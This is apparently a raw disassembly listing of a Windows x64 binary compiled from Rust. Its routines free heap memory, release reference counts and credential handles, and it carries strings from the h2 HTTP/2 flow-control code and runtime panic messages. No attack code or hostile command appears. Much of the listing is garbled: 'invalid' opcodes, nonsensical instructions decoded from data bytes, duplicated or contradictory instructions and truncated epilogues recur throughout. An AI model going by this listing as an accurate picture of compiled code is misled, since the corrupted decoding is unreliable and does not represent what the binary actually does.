mov rcx, rdi
call qword [rax + 0x10]
jmp 0x1400c9e70
mov rax, qword [rdi - 0x18]
neg rax
jo 0x1400c9e70
jae 0x1400c9e70
mov r8, qword [rdi - 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
call r14
mov rax, qword [rdi + 0x20]
test rax, rax
je 0x1400c9e80
mov rcx, qword [rdi + 0x28]
call qword [rax + 0x18]
mov rax, qword [rdi + 0x38]
test rax, rax
je 0x1400c9e00
mov rcx, qword [rdi + 0x40]
call qword [rax + 0x18]
jmp 0x1400c9e00
cmp qword [rsi + 0x1c8], 0
je 0x1400c9eb9
mov r8, qword [rsi + 0x1d0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x210]
test rax, rax
je 0x1400c9eea
mov r8, qword [rsi + 0x208]
lea rax, [rax*8 + 0x17]
and rax, 0xfffffffffffffff0
sub r8, rax
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x1f0], 0
je 0x1400c9f0a
mov r8, qword [rsi + 0x1f8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp rsi, 0xffffffffffffffff
je 0x1400c9f37
lock dec qword [rsi + 8]
jne 0x1400c9f37
or byte [rbp + 0x20], dh
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop rsi
pop rsi
pop r15
ret
add rcx, 0x10
mov r8b, 1
xor eax, eax
lock cmpxchg byte [rsi + 0x10], r8b
jne 0x1400ca051
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x1400ca073
xor edi, edi
movzx eax, byte [rsi + 0x11]
test al, al
jne 0x1400ca094
mov eax, dword [rsi + 0xc4]
mov r8d, dword [rsi + 0x108]
add r8d, eax
jno 0x1400c9fd8
test dil, dil
jne 0x1400c9fc2
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x1400ca0c7
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x1400c9fef
add rsp, 0x40
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
js 0x1400ca0fb
mov r9d, r8d
sub r9d, edx
jae 0x1400c9ff7
sub edx, r8d
add eax, edx
jo 0x1400c9faa
jmp 0x1400c9ffc
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
sub eax, r9d
jo 0x1400c9faa
mov dword [rsi + 0xc4], eax
mov edx, dword [rsi + 0xc0]
sub eax, edx
jle 0x1400c9faa
mov r8d, edx
shr r8d, 0x1f
add r8d, edx
add eax, edx
sar r8d, 1
cmp eax, r8d
jl 0x1400c9faa
invalid
mov rdx, qword [rsi + 0x1b8]
mov rax, qword [rsi + 0x1c0]
mov qword [rsi + 0x1b8], 0
add byte [rax - 0x75], cl
xchg al, al
add dword [rax], eax
add byte [rax - 0x39], cl
xchg byte [rax + 1], bh
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], cl
test byte [rdx - 1], ch
invalid
mov dword [rsi + 0x1b8], 0
test rdx, rdx
je 0x1400c9faa
mov rbx, rcx
mov rcx, rax
call qword [rdx + 8]
mov rcx, rbx
jmp 0x1400c9faa
mov rdi, rcx
mov edi, ecx
mov ebx, edx
call fcn.14012be60
mov edx, ebx
mov rcx, rdi
mov rax, qword [0x14019f300]
add eax, 0xd5299
shl rax, 1
test rax, rax
je 0x1400c9f8a
dec dword [rax - 0x77]
iretd
mov rdi, rcx
mov ebx, edx
call fcn.14012bf20
mov edx, ebx
mov rcx, rdi
mov edi, eax
xor dil, 1
movzx eax, byte [rsi + 0x11]
test al, al
je 0x1400c9f98
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x38], dil
lea rax, [0x140159c80]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140159e40]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.140122900
mov rdi, rcx
call fcn.14012bf20
mov rcx, rdi
test al, al
jne 0x1400c9fc2
mov byte [rsi + 0x11], 1
jmp 0x1400c9fc2
lea rcx, str.negative_Window
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i32_S
mov edx, 0xf
call fcn.140122c90
int3
xlatb
push qword [rbx + rcx*2 - 0x10]
dec qword [rsi + 8]
ret
cmovs esi, edi
fmul dword [rax - 0x7b]
test rcx, rax
je 0x1400ca59b
cmp rbx, 0x11
jb 0x1400ca581
invalid
mov ecx, dword [0x14019f258]
int3
add byte [rcx - 0x75], cl
sbb byte [rax - 0x75], cl
mov ecx, dword [0x14019f258]
mov ecx, dword [0x14019f258]
xlatb
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
mov ebx, dword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax], al
or eax, 0xd4c51
or rax, 0xffffffffffd23100
ror dword [rax - 0x7b], cl
push qword [rsi + riz + 0x49]
mov eax, edi
loope 0x1400ca610
dec qword [rax]
or byte [rbp - 0x25], dh
mov eax, esi
invalid
sbb al, 0x48
mov ecx, dword [0x14019f258]
invalid
pop rax
or eax, 0x49d23100
mov eax, esi
int3
int3
invalid
stosb byte [rdi], al
invalid
mov dh, 0x47
loopne 0x1400ca848
cmp eax, 6
movabs al, byte [0x40d8b48f0478b4c]
or rax, 0x41d23100
call rdi
jmp 0x1400ca7e9
cwde
or eax, 0xffd23100
adc eax, 0x64978
pop rax
invalid
dec byte [rcx - 1]
invalid
sub al, ch
sar ecx, cl
invalid
dec dword [rax + 8]
adc al, bpl
adc al, byte [rcx]
add byte [rax], al
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x1400cac13
lock dec qword [r8 + 8]
jne 0x1400cac13
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
test rax, rax
je 0x1400cacac
lock dec qword [rax]
jne 0x1400cac42
mov rcx, rsi
call fcn.140040e50
mov rdi, qword [rsi + 0x38]
test rdi, rdi
je 0x1400cac7d
mov rbx, qword [rsi + 0x30]
xor r14d, r14d
jmp 0x1400cac68
inc r14
cmp rdi, r14
je 0x1400cac7d
mov rax, qword [rbx + r14*8]
lock dec qword [rax]
jne 0x1400cac60
mov rcx, qword [rbx + r14*8]
call fcn.1400feea0
jmp 0x1400cac60
cmp qword [rsi + 0x28], 0
je 0x1400cac97
mov r8, qword [rsi + 0x30]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 8]
lock dec qword [rax]
jne 0x1400cacbf
mov rcx, qword [rsi + 8]
call fcn.14002de40
jmp 0x1400cacbf
mov rax, qword [rsi + 8]
lock dec qword [rax]
jne 0x1400cacbf
mov rcx, qword [rsi + 8]
call fcn.1400ca680
cmp dword [rsi + 0xa8], 0x3b9aca00
je 0x1400cacef
cmp qword [rsi + 0x60], 0
je 0x1400cacef
mov r8, qword [rsi + 0x68]
mov rcx, qword [0x14019f258]
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
invalid
pop rbx
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
push rcx
invalid
invalid
invalid
push rcx
invalid
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
add ecx, 0x10
call fcn.1400cad40
cmp rsi, 0xffffffffffffffff
je 0x1400cad36
lock dec qword [rsi + 8]
jne 0x1400cad36
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
add byte [rax - 0x75], cl
xor al, r14b
dec qword [rax]
invalid
or byte [rbp + 0x11], dh
jne 0x1400cadc0
add rsi, 0x30
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp fcn.140040e50
nop
add rsp, 0x20
pop rsi
ret
sub rsp, 0x20
mov rsi, rcx
add rcx, 0x10
call qword [sym.imp.secur32.dll_FreeCredentialsHandle]
cmp rsi, 0xffffffffffffffff
je 0x1400cae07
lock dec qword [rsi + 8]
jne 0x1400cae07
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
mov edx, dword [rsi + 0x88]
xor eax, eax
xchg qword [rdx + 0x10], rax
test rax, rax
je 0x1400caf22
mov rax, qword [rdx + 0x28]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdx + 0x28], rcx
jne 0x1400caef0
test rax, rax
jne 0x1400caf22
mov rax, qword [rdx + 0x18]
mov rcx, qword [rdx + 0x20]
mov qword [rdx + 0x18], 0
lock and qword [rdx + 0x28], 0xfffffffffffffffd
test rax, rax
je 0x1400caf22
call qword [rax + 8]
mov rax, qword [rsi + 0x88]
lock dec qword [rax]
or byte [rbp + 0xc], dh
or byte [rbp + 0xc], dh
mov rcx, qword [rsi + 0x88]
call fcn.14002de80
lea rdi, [rsi + 0x80]
mov rcx, rdi
call fcn.1400a45a0
mov rax, qword [rsi + 0x80]
test rax, rax
je 0x1400caf64
lock dec qword [rax]
jne 0x1400caf64
mov rcx, qword [rdi]
call fcn.1400d6df0
mov rdi, qword [rsi + 0x90]
mov bl, 1
mov al, 1
xchg byte [rdi + 0xa8], al
mov al, 1
xchg byte [rdi + 0x88], al
test al, al
jne 0x1400cafa4
mov rax, qword [rdi + 0x78]
mov rcx, qword [rdi + 0x80]
mov qword [rdi + 0x78], 0
xor edx, edx
xchg byte [rdi + 0x88], dl
test rax, rax
je 0x1400cafa4
call qword [rax + 0x18]
xchg byte [rdi + 0xa0], bl
test bl, bl
jne 0x1400cafdb
mov rax, qword [rdi + 0x90]
mov rcx, qword [rdi + 0x98]
mov qword [rdi + 0x90], 0
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
cmp dword [rcx], eax
add byte [rax], al
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
cmp dword [rcx], eax
add byte [rax], al
xor edx, edx
xchg byte [rdi + 0xa0], dl
call qword [rax + 8]
mov rax, qword [rsi + 0x90]
lock dec qword [rax]
jne 0x1400cb05d
mov rcx, qword [rsi + 0x90]
call fcn.14002e3e0
jmp 0x1400cb05d
lea rcx, [rsi + 0x78]
call fcn.1400ca6b0
invalid
dec dword [rax - 0x73]
mov esi, 0x88
lea rdi, [rsi + 0x88]
mov rcx, rdi
call fcn.14001ddf0
mov rcx, rdi
call fcn.140016d90
mov rax, qword [rsi + 0x88]
lock dec qword [rax]
jne 0x1400cb05d
mov rcx, rdi
call fcn.1400c9be0
mov rsi, qword [rsi + 0x98]
test rsi, rsi
je 0x1400cb0ff
mov rdi, qword [rsi]
cmp rdi, 2
invalid
je 0x1400cb0e4
add dh, byte [rsi + rbp*2 + 0x48]
mov ebx, dword [rsi + 8]
mov rbx, qword [rsi + 8]
mov bpl, 1
mov ch, 1
mov al, 1
xchg byte [rbx + 0x40], al
mov al, 1
xchg byte [rbx + 0x20], al
test al, al
jne 0x1400cb0a8
mov rax, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
mov qword [rbx + 0x10], 0
xor edx, edx
xchg byte [rbx + 0x20], dl
test rax, rax
je 0x1400cb0a8
call qword [rax + 0x18]
xchg byte [rbx + 0x38], bpl
test bpl, bpl
jne 0x1400cb0ce
mov rax, qword [rbx + 0x28]
mov rcx, qword [rbx + 0x30]
mov qword [rbx + 0x28], 0
test rax, rax
je 0x1400cb127
xor edx, edx
xchg byte [rbx + 0x38], dl
call qword [rax + 8]
test rdi, rdi
mov rax, qword [rsi + 8]
lock dec qword [rax]
jne 0x1400cb0e4
mov rcx, qword [rsi + 8]
call fcn.14002e2a0
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
xor eax, eax
xchg byte [rdi + 0xa0], al
mov rax, qword [rsi + 0x90]
lock dec qword [rax]
je 0x1400cafe8
jmp 0x1400cb05d
xor eax, eax
xchg byte [rbx + 0x38], al
test rdi, rdi
mov rax, qword [rsi + 8]
mov eax, dword [rsi + 8]
lock dec qword [rax]
je 0x1400cb0db
movabs byte [0x41cccccccccca9eb], al
push rdi
jmp 0x1400cb0e4
nop word cs:[rax + rax]
add dword [rax], eax
add byte [rcx - 0x7d], cl
invalid
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
add byte [rsi], bh
invalid
dec dword [rsi + 8]
add al, 0x3c
or eax, 0x49d23100
mov eax, esi
invalid
invalid
jmp qword [sym.imp.kernel32.dll_HeapFree]
ror byte [rax - 0x7d], 1
invalid
int3
mov esi, dword [rbx + 0x30]
cmp dword [rsi + 8], 0
jle 0x1400cb6ce
adc dword [rdx + 4], esi
clc
invalid
add dh, byte [rbp + 0x54]
mov eax, dword [rbx + 0x10]
jge 0x1400cb728
idiv bh
lea edi, [rbx + 0x18]
mov esi, dword [rbx + 0x18]
dec qword [r14 + 0x1c8]
enter 1, 0
test al, 0
add byte [rax], al
invalid
add byte [rcx - 0x73], cl
mov es, word [rax - 0x18000000]
call fcn.140098f00
mov rax, qword [r14 + 0x110]
invalid
invalid
adc byte [rcx], al
add byte [rax], al
mov ecx, eax
mov eax, dword [rbx + 0x10]
mov ecx, dword [rbx + 0x10]
lea edi, [rbx + 0x18]
enter 1, 0
pop rax
or ecx, 2
cmpxchg qword [r14 + 0x110], rcx
adc byte [rcx], al
add byte [rax], al
add dword [rax], eax
add ch, bh
stc
push r8
int3
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
lea edi, [rbp - 1]
and edi, ebp
dec r14
lea rcx, [rbx - 8]
lea ecx, [rbx - 8]
lea ecx, [rbx - 8]
mov rax, qword [rbx - 0x20]
mov rdx, qword [rbx - 0x18]
mov r8, qword [rbx - 0x10]
call qword [rax + 0x10]
mov ebp, edi
test r14, r14
je 0x1400cbac4
test bp, bp
in eax, dx
jne 0x1400cba7f
nop word [rax + rax]
nop dword [rax + rax]
movdqa xmm0, xmmword [r12]
pmovmskb ebp, xmm0
add r15, 0xfffffffffffffd00
add r12, 0x10
cmp ebp, 0xffff
je 0x1400cba60
not ebp
tzcnt eax, ebp
neg rax
lea rax, [rax + rax*2]
shl rax, 4
lea rbx, [r15 + rax]
cmp byte [r15 + rax - 0x30], 2
jb 0x1400cba30
mov rdi, qword [rbx - 0x28]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call r13
jmp 0x1400cba30
lea rax, [rsi + 1]
mov ecx, 0x30
mul rcx
add rsi, rax
cmp rsi, 0xffffffffffffffef
mov rdi, qword [rsp + 0x20]
je 0x1400cbaf4
mov r8, qword [rdi + 0x28]
sub r8, rax
sub eax, eax
sub eax, eax
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
insb byte [rdi], dx
invalid
mov rax, qword [rdi + 0x60]
test rax, rax
je 0x1400cbc4d
mov qword [rsp + 0x28], rax
mov r15, qword [rdi + 0x70]
test r15, r15
je 0x1400cbc10
mov rax, qword [rsp + 0x20]
mov r12, qword [rax + 0x58]
movdqa xmm0, xmmword [r12]
pmovmskb esi, xmm0
not esi
lea r13, [r12 + 0x10]
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400cbb50
lea eax, [rsi - 1]
and eax, esi
mov esi, eax
dec r15
je 0x1400cbc10
iretd
test si, si
jne 0x1400cbb7f
nop word cs:[rax + rax]
movdqa xmm0, xmmword [r13]
pmovmskb esi, xmm0
add r12, 0xfffffffffffffb80
add r13, 0x10
cmp esi, 0xffff
je 0x1400cbb60
add byte [r14 + 0xf], r12b
xlatb
invalid
not esi
tzcnt eax, esi
neg rax
lea rax, [rax + rax*8]
lea rbx, [r12 + rax*8]
cmp byte [r12 + rax*8 - 0x48], 2
jb 0x1400cbbba
mov rdi, qword [rbx - 0x40]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call rbp
lea rcx, [rbx - 0x20]
mov rax, qword [rbx - 0x38]
mov rdx, qword [rbx - 0x30]
mov r8, qword [rbx - 0x28]
call qword [rax + 0x10]
mov r14, qword [rbx - 8]
test r14, r14
je 0x1400cbbf1
mov rdi, qword [rbx - 0x10]
nop word [rax + rax]
mov rcx, rdi
call fcn.1400837b0
add rdi, 0x48
dec r14
jne 0x1400cbbe0
cmp qword [rbx - 0x18], 0
je 0x1400cbb40
mov r8, qword [rbx - 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
call rbp
jmp 0x1400cbb40
mov r8, qword [rsp + 0x28]
lea rax, [r8 + 1]
mov ecx, 0x48
mul rcx
add rax, 0xf
and rax, 0xfffffffffffffff0
add r8, rax
cmp r8, 0xffffffffffffffef
mov rdi, qword [rsp + 0x20]
je 0x1400cbc4d
mov r8, qword [rdi + 0x58]
sub r8, rax
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rdi + 0x90]
test r14, r14
je 0x1400cbd7d
mov r15, qword [rdi + 0xa0]
test r15, r15
je 0x1400cbd4a
mov rax, qword [rsp + 0x20]
mov rsi, qword [rax + 0x88]
movdqa xmm0, xmmword [rsi]
pmovmskb ebp, xmm0
not ebp
lea r12, [rsi + 0x10]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400cbca0
lea eax, [rbp - 1]
and eax, ebp
mov ebp, eax
dec r15
je 0x1400cbd4a
test bp, bp
jne 0x1400cbccf
nop word cs:[rax + rax]
movdqa xmm0, xmmword [r12]
pmovmskb ebp, xmm0
add rsi, 0xfffffffffffffb00
add r12, 0x10
cmp ebp, 0xffff
je 0x1400cbcb0
not ebp
tzcnt eax, ebp
neg rax
lea rax, [rax + rax*4]
shl rax, 4
lea rbx, [rsi + rax]
cmp byte [rsi + rax - 0x50], 2
jb 0x1400cbd0e
mov rdi, qword [rbx - 0x48]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call r13
lea rcx, [rbx - 0x28]
mov rax, qword [rbx - 0x40]
mov rdx, qword [rbx - 0x38]
mov r8, qword [rbx - 0x30]
call qword [rax + 0x10]
lea rcx, [rbx - 0x20]
call fcn.140081f50
cmp qword [rbx - 0x20], 0
je 0x1400cbc90
mov r8, qword [rbx - 0x18]
mov rcx, qword [0x14019f258]
xor edx, edx
call r13
jmp 0x1400cbc90
lea rax, [r14 + 1]
mov ecx, 0x50
mul rcx
add r14, rax
cmp r14, 0xffffffffffffffef
mov rdi, qword [rsp + 0x20]
je 0x1400cbd7d
mov r8, qword [rdi + 0x88]
sub r8, rax
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rdi + 0xc0]
test rsi, rsi
je 0x1400cbdc1
mov bl, 1
mov al, 1
xchg byte [rsi + 0x40], al
mov al, 1
xchg byte [rsi + 0x20], al
test al, al
je 0x1400cbe24
xchg byte [rsi + 0x38], bl
test bl, bl
je 0x1400cbe5e
mov rax, qword [rdi + 0xc0]
lock dec qword [rax]
jne 0x1400cbdc1
mov rcx, qword [rdi + 0xc0]
call fcn.14002e2a0
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x1400cbddd
lock dec qword [rax]
jne 0x1400cbddd
mov rcx, qword [rdi + 0x18]
mov rdx, qword [rdi + 0x20]
call case.0x14009a20c.177
mov rax, qword [rsp + 0x30]
mov r8, qword [rax]
cmp r8, 0xffffffffffffffff
je 0x1400cbe12
lock dec qword [r8 + 8]
jne 0x1400cbe12
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
mov qword [rsi + 0x10], 0
test rax, rax
je 0x1400cbe4e
xor edx, edx
xchg byte [rsi + 0x20], dl
call qword [rax + 8]
xchg byte [rsi + 0x38], bl
test bl, bl
jne 0x1400cbda8
jmp 0x1400cbe5e
xor eax, eax
xchg byte [rsi + 0x20], al
xchg byte [rsi + 0x38], bl
test bl, bl
jne 0x1400cbda8
mov rax, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x30]
mov qword [rsi + 0x28], 0
test rax, rax
je 0x1400cbe76
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x38], al
mov rax, qword [rdi + 0xc0]
lock dec qword [rax]
je 0x1400cbdb5
jmp 0x1400cbdc1
add byte [rax], al
add al, ch
shl esp, cl
invalid
add byte [rax + 0x100bb], al
add byte [rdx], al
add byte [rax], al
add dh, byte [rdx + riz*4 + 0x48]
lea ecx, [rbx + 0xf8]
invalid
add byte [rax - 0x75], cl
and eax, 0
loopne 0x1400cc07a
loopne 0x1400cc07a
add byte [rax], al
mov eax, dword [rbx + 0xf0]
add byte [rax], al
invalid
adc byte [rcx], dl
jg 0x1400cc0da
or eax, 0xd316f
xor r8, qword [rsi]
add byte [rax - 0x75], cl
mov rax, qword [rbx + 0x1b0]
lock dec qword [rax]
add byte [rax], al
and al, dh
dec qword [r8 + 8]
dec dword [rax + 8]
dec dword [rax + 8]
sub byte [rbx + 0x5f], bl
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
int3
int3
adc eax, 0x6320a
sar bh, cl
adc eax, 0x631ed
xor dword [rsi], eax
invalid
xor dword [rsi], eax
add byte [rax - 0x75], cl
or eax, 0xd2ffe
xor byte [0xc35583bf], al
invalid
and al, 0x28
add dword [rax], eax
add byte [rax], al
mov byte [rdx], 0
test rax, rax
je 0x1400cc5db
mov rsi, rax
mov qword [rax], 0
mov dword [rax], 0
mov dword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 0x801
mov rax, qword [0x14019f300]
add ah, byte [rsi - 0x39]
xor byte [rcx], al
or byte [rax - 0x75], cl
add eax, 0xd2e5d
shl rax, 1
test rax, rax
jne 0x1400cc5ae
lea rdx, str.runtime_dropped_the_dispatch_taskuser_code_panickedconnection_closed
mov r8d, 0x21
mov rcx, rsi
call fcn.1400a8460
movzx eax, byte [rdi + 8]
mov rdx, qword [rdi + 0x10]
mov qword [rdi + 8], 0
test byte [rdi], 1
je 0x1400cc527
test al, 1
je 0x1400cc56d
mov qword [rsp + 0x138], rsi
mov qword [rsp + 0x130], 3
lea rcx, [rsp + 0x28]
lea r8, [rsp + 0x130]
call fcn.14005b1c0
mov rax, qword [rsp + 0x28]
cmp rax, 4
je 0x1400cc5a3
cmp eax, 3
jne 0x1400cc57e
mov rcx, qword [rsp + 0x30]
call fcn.14005cd00
jmp 0x1400cc5a3
test al, 1
je 0x1400cc56d
mov qword [rsp + 0x130], rsi
mov qword [rsp + 0x138], 3
lea rcx, [rsp + 0x28]
lea r8, [rsp + 0x130]
call fcn.14005ae30
mov rsi, qword [rsp + 0x30]
cmp rsi, 5
je 0x1400cc5a3
cmp esi, 4
jne 0x1400cc58a
lea rcx, [rsp + 0x38]
call fcn.1400caeb0
jmp 0x1400cc5a3
mov rcx, rsi
add rsp, 0x238
pop rdi
pop rsi
jmp fcn.14005cd00
lea rcx, [rsp + 0x28]
call fcn.1400caeb0
jmp 0x1400cc5a3
mov rcx, qword [rsp + 0x28]
call fcn.14005cd00
cmp esi, 3
je 0x1400cc5a3
lea rcx, [rsp + 0x30]
call fcn.140056eb0
nop
add rsp, 0x238
pop rdi
pop rsi
ret
call fcn.14012bf20
test al, al
mov eax, 0x21
mov r8d, 0x12
cmovne r8, rax
lea rax, str.runtime_dropped_the_dispatch_taskuser_code_panickedconnection_closed
lea rdx, [0x140162f99]
cmovne rdx, rax
jmp 0x1400cc4bc
mov ecx, 8
mov edx, 0x38
call fcn.140122190
int3
rol byte [rax], 1
add byte [rax], al
cwde
and eax, 0x89000001
fadd dword [rax - 0x80]
inc dword [rcx]
test dword [rax - 0x57ffffff], edi
or byte [rdi], cl
test dword [rax + rax + 0x8a80000], ebp
cmp ecx, dword [rsi]
invalid
add byte [rax], al
loope 0x1400cc81e
nop word cs:[rax + rax]
mov rcx, rax
test cl, 4
jne 0x1400ccb9a
mov r8, rcx
or r8, 2
mov rax, rcx
lock cmpxchg qword [rdx + 0x30], r8
jne 0x1400ccb80
and ecx, 5
cmp ecx, 1
jne 0x1400ccbad
mov rax, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x28]
call qword [rax + 0x10]
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x1400ccbc5
lock dec qword [rax]
jne 0x1400ccbc5
mov rcx, qword [rsi + 0x10]
call fcn.1400cae10
nop
add rsp, 0x1d0
pop rbx
pop rdi
pop rsi
ret
ror byte [rax - 0x73], cl
and al, 0x28
call fcn.1400693d0
mov rax, qword [rsi + 0x1b0]
lock dec qword [rax]
jne 0x1400cd131
invalid
or al, 0x48
mov ecx, dword [rsi + 0x1b0]
mov rcx, qword [rsi + 0x1b0]
call fcn.1400cb220
mov rax, qword [rsi + 0x1a8]
lock dec qword [rax]
jne 0x1400cd18c
add rsi, 0x1a8
mov rcx, rsi
add rsp, 0x140
add dword [rax], eax
add byte [rbx + 0x5f], bl
add dword [rax], eax
add byte [rbx + 0x5f], bl
pop rsi
pop r14
pop r15
jmp fcn.1400cbea0
add al, dh
dec qword [rax]
jne 0x1400cd18c
mov rcx, qword [rsi + 0x198]
add rsp, 0x140
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.1400cb220
invalid
invalid
invalid
nop
add rsp, 0x140
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
xor eax, eax
lock cmpxchg byte [r15 + 0x10], dl
jne 0x1400cd365
mov rax, qword [0x14019f300]
shl rax, 1
loopne 0x1400cd236
test eax, eax
loopne 0x1400cd236
test eax, eax
jne 0x1400cd383
add byte [rax], al
xor eax, eax
movzx edx, byte [r15 + 0x11]
test dl, dl
jne 0x1400cd39d
mov bpl, 1
cmp qword [r15 + 0x30], 0
jne 0x1400cd21a
cmp qword [r15 + 0x40], 0
je 0x1400cd31c
test al, al
jne 0x1400cd231
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x1400cd410
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x1400cd23f
add dh, byte [rbp + 6]
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bpl, bpl
jne 0x1400cd291
lea r14, [rbx + 0x3a8]
mov rcx, qword [rbx + 0x408]
add rcx, 0x10
call fcn.14006f4b0
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x54], 0
lea rax, [0x1401586b0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.14001ea50
lea rcx, [rsp + 0x58]
mov rdx, rbx
mov r8, rdi
call fcn.140046330
movzx eax, byte [rsp + 0x58]
cmp eax, 3
je 0x1400cd2b8
cmp eax, 4
jne 0x1400cd2c0
mov byte [rsi], 6
jmp 0x1400cd400
mov byte [rsi], 5
jmp 0x1400cd400
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
and al, 0x78
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0x58]
movups xmm1, xmmword [rsp + 0x68]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
movzx eax, byte [rsp + 0x30]
test eax, eax
je 0x1400cd335
cmp eax, 1
jne 0x1400cd34a
mov rax, qword [rsp + 0x38]
movups xmm0, xmmword [rsp + 0x68]
movaps xmmword [rsp + 0x80], xmm0
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x90], rcx
mov ecx, dword [rsp + 0x34]
mov dl, 1
movzx r8d, byte [rsp + 0x31]
jmp 0x1400cd3db
cmp qword [r15 + 0x238], 2
setae bpl
test al, al
je 0x1400cd21e
jmp 0x1400cd231
mov ecx, dword [rsp + 0x34]
mov eax, dword [rsp + 0x38]
movzx r8d, byte [rsp + 0x31]
xor edx, edx
jmp 0x1400cd3db
